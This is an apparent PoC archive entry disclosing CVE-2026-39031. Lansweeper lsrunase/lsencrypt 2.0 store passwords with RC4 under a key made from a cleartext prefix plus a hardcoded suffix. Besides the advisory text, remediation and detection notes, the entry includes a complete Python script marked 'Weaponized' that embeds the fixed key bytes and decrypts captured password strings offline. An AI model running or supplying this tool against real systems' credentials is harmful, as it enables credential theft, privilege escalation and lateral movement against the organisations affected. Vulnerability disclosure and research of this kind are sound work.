PoC Archive PoC Archive
High CVE-2026-39031 unpatched

Lansweeper lsrunase 2.0 / lsencrypt 2.0 — RC4 Password Recovery (CVE-2026-39031)

by user6400 · 2026-07-05

Severity
High
CVE
CVE-2026-39031
Category
crypto
Affected product
Lansweeper lsrunase 2.0 / lsencrypt 2.0
Affected versions
2.0 (both tools)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcheruser6400
CVE / AdvisoryCVE-2026-39031
Categorycrypto
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagslansweeper, rc4, hardcoded-key, password-recovery, cryptography, offline-decryption, cwe-321
RelatedN/A

Affected Target

FieldValue
Software / SystemLansweeper lsrunase 2.0 / lsencrypt 2.0
Versions Affected2.0 (both tools)
Language / PlatformPython (PoC), targeting a Windows binary encryption scheme
Authentication RequiredLocal-only (attacker needs an encrypted password string)
Network Access RequiredNo

Summary

Lansweeper’s lsrunase and lsencrypt 2.0 tools implement a reversible password “encryption” scheme built on RC4 with a key derived from an 8-character cleartext prefix (stored alongside the ciphertext) concatenated with a fixed 142-byte suffix hardcoded into both binaries. Because the prefix travels in the clear and the remaining key material never changes across installations, anyone who obtains an encrypted password string can recover the original plaintext offline with a single SHA-1 computation and one RC4 decryption — no brute force required. This is a distinct issue from the older CVE-2007-6340 (LSrunasE/Supercrypt 1.0).


Vulnerability Details

Root Cause

The RC4 key is SHA1(8-byte cleartext prefix || fixed 142-byte suffix embedded in the binary); since the prefix is stored unencrypted with the ciphertext and the suffix is a hardcoded constant, the full key is always derivable from the encrypted value alone (CWE-321, CWE-326, CWE-327).

Attack Vector

  1. Obtain an encrypted password string produced by lsrunase.exe 2.0 or lsencrypt.exe 2.0 (e.g. from configuration files, scripts, or backups).
  2. Split the leading 8-character cleartext prefix from the base64-encoded RC4 ciphertext that follows it.
  3. Rebuild the 150-byte key buffer from the prefix and the fixed 142-byte suffix, and compute its SHA-1 digest to obtain the RC4 key.
  4. Decrypt the RC4 ciphertext to recover the plaintext password.

Impact

Offline recovery of plaintext credentials from any captured or archived lsrunase/lsencrypt 2.0 encrypted password string, enabling privilege escalation, lateral movement, and retroactive decryption of previously stored secrets.


Environment / Lab Setup

Target:   Encrypted password strings produced by lsrunase 2.0 / lsencrypt 2.0
Attacker: python3 (no third-party dependencies)

Proof of Concept

PoC Script

See lsrunase2cve.py in this folder.

1
2
python lsrunase2cve.py --decrypt "IssS|CI|NTOEHK5Q9l7Sn89xEA67+wo="
python lsrunase2cve.py --encrypt "testpassword12345" --prefix "IssS|CI|"

The script splits the cleartext prefix from the supplied encrypted string, rebuilds the RC4 key via the fixed 142-byte suffix and a single SHA-1 pass, and decrypts (or, given --encrypt, reproduces) the password.


Detection & Indicators of Compromise

<8-char-prefix><base64 ciphertext>

Signs of compromise:

  • Encrypted password strings from lsrunase/lsencrypt 2.0 found in exposed scripts, backups, or version control
  • Use of recovered credentials for subsequent authentication attempts against Lansweeper-managed systems

Remediation

ActionDetail
Primary fixNo vendor patch confirmed — vendor stated the product line is no longer maintained; migrate off lsrunase/lsencrypt 2.0
Interim mitigationRotate any credentials ever stored via lsrunase/lsencrypt 2.0; avoid embedding encrypted credentials from these tools in scripts or backups

References


Notes

Mirrored from https://github.com/user6400/cve-2026-39031-lansweeper-lsrunase2-lsencrypt2 on 2026-07-05.

lsrunase2cve.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python3
"""PoC for CVE-2026-39031: Lansweeper lsrunase/lsencrypt 2.0 recovery."""

from __future__ import annotations

import argparse
import base64
import hashlib
import secrets
import sys


PREFIX_LENGTH = 8
PREFIX_MIN = 0x3F
PREFIX_MAX = 0x7E
PREFIX_CHARS = ''.join(chr(value) for value in range(PREFIX_MIN, PREFIX_MAX + 1))

FIXED_KEY_SUFFIX = bytes([
    0x27, 0x0F, 0x29, 0x11, 0x2B, 0x13, 0x2D, 0x15,
    0x2F, 0x17, 0x31, 0x19, 0x33, 0x1B, 0x35, 0x1D,
    0x37, 0x1F, 0x39, 0x21, 0x3B, 0x23, 0x3D, 0x25,
    0x3F, 0x27, 0x41, 0x29, 0x43, 0x2B, 0x45, 0x2D,
    0x47, 0x2F, 0x49, 0x31, 0x4B, 0x33, 0x4D, 0x35,
    0x4F, 0x37, 0x51, 0x39, 0x53, 0x3B, 0x55, 0x3D,
    0x57, 0x3F, 0x59, 0x41, 0x5B, 0x43, 0x5D, 0x45,
    0x5F, 0x47, 0x61, 0x49, 0x63, 0x4B, 0x65, 0x4D,
    0x67, 0x4F, 0x69, 0x51, 0x6B, 0x53, 0x6D, 0x55,
    0x6F, 0x57, 0x71, 0x59, 0x73, 0x5B, 0x75, 0x5D,
    0x77, 0x5F, 0x79, 0x61, 0x7B, 0x63, 0x7D, 0x65,
    0x7F, 0x67, 0x81, 0x69, 0x83, 0x6B, 0x85, 0x6D,
    0x87, 0x6F, 0x89, 0x71, 0x8B, 0x73, 0x8D, 0x75,
    0x8F, 0x77, 0x91, 0x79, 0x93, 0x7B, 0x95, 0x7D,
    0x97, 0x7F, 0x99, 0x81, 0x9B, 0x83, 0x9D, 0x85,
    0x9F, 0x87, 0xA1, 0x89, 0xA3, 0x8B, 0xA5, 0x8D,
    0xA7, 0x8F, 0xA9, 0x91, 0xAB, 0x93, 0xAD, 0x95,
    0xAF, 0x97, 0xB1, 0x99, 0xB3, 0x9B,
])


class RC4:
    def __init__(self, key: bytes):
        self.s = list(range(256))
        j = 0
        for i in range(256):
            j = (j + self.s[i] + key[i % len(key)]) % 256
            self.s[i], self.s[j] = self.s[j], self.s[i]

    def crypt(self, data: bytes) -> bytes:
        i = j = 0
        result = []
        for char in data:
            i = (i + 1) % 256
            j = (j + self.s[i]) % 256
            self.s[i], self.s[j] = self.s[j], self.s[i]
            result.append(char ^ self.s[(self.s[i] + self.s[j]) % 256])
        return bytes(result)

def validate_prefix(prefix: str) -> None:
    prefix_bytes = prefix.encode("ascii")
    if len(prefix_bytes) != PREFIX_LENGTH:
        raise ValueError(f"prefix must be exactly {PREFIX_LENGTH} ASCII characters")
    if any(char < PREFIX_MIN or char > PREFIX_MAX for char in prefix_bytes):
        raise ValueError("prefix characters must be in the ASCII range 0x3f through 0x7e")


def generate_key(prefix: str) -> bytes:
    validate_prefix(prefix)
    return prefix.encode("ascii") + FIXED_KEY_SUFFIX


def derive_rc4_key(prefix: str) -> bytes:
    return hashlib.sha1(generate_key(prefix)).digest()


def decrypt_password(encrypted_password: str) -> str:
    if len(encrypted_password) <= PREFIX_LENGTH:
        raise ValueError("encrypted password is too short")

    prefix = encrypted_password[:PREFIX_LENGTH]
    ciphertext_b64 = encrypted_password[PREFIX_LENGTH:]
    hashed_key = derive_rc4_key(prefix)
    pass_bytes = base64.b64decode(ciphertext_b64, validate=True)
    rc4 = RC4(hashed_key)
    decrypted = rc4.crypt(pass_bytes)
    return decrypted.decode("ascii")


def generate_random_prefix() -> str:
    return ''.join(secrets.choice(PREFIX_CHARS) for _ in range(PREFIX_LENGTH))


def encrypt_password(password: str, prefix: str | None = None) -> str:
    key_prefix = prefix if prefix is not None else generate_random_prefix()
    hashed_key = derive_rc4_key(key_prefix)
    rc4 = RC4(hashed_key)
    encrypted = rc4.crypt(password.encode("ascii"))
    return key_prefix + base64.b64encode(encrypted).decode("ascii")


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        description="Recover or reproduce Lansweeper lsrunase/lsencrypt 2.0 password strings."
    )
    action = parser.add_mutually_exclusive_group(required=True)
    action.add_argument("--encrypt", "-e", metavar="PASSWORD", help="encrypt an ASCII password")
    action.add_argument("--decrypt", "-d", metavar="VALUE", help="decrypt an encrypted password value")
    parser.add_argument(
        "--prefix",
        metavar="PREFIX",
        help="optional 8-character prefix for reproducible encryption tests",
    )
    return parser


def main(argv: list[str] | None = None) -> int:
    parser = build_parser()
    args = parser.parse_args(argv)

    try:
        if args.decrypt is not None:
            if args.prefix is not None:
                parser.error("--prefix can only be used with --encrypt")
            print(f"Decrypted: {decrypt_password(args.decrypt)}")
        else:
            print(f"Encrypted: {encrypt_password(args.encrypt, args.prefix)}")
    except (UnicodeEncodeError, UnicodeDecodeError):
        print("error: this PoC expects ASCII input and output", file=sys.stderr)
        return 2
    except (ValueError, base64.binascii.Error) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2

    return 0


if __name__ == "__main__":
    raise SystemExit(main())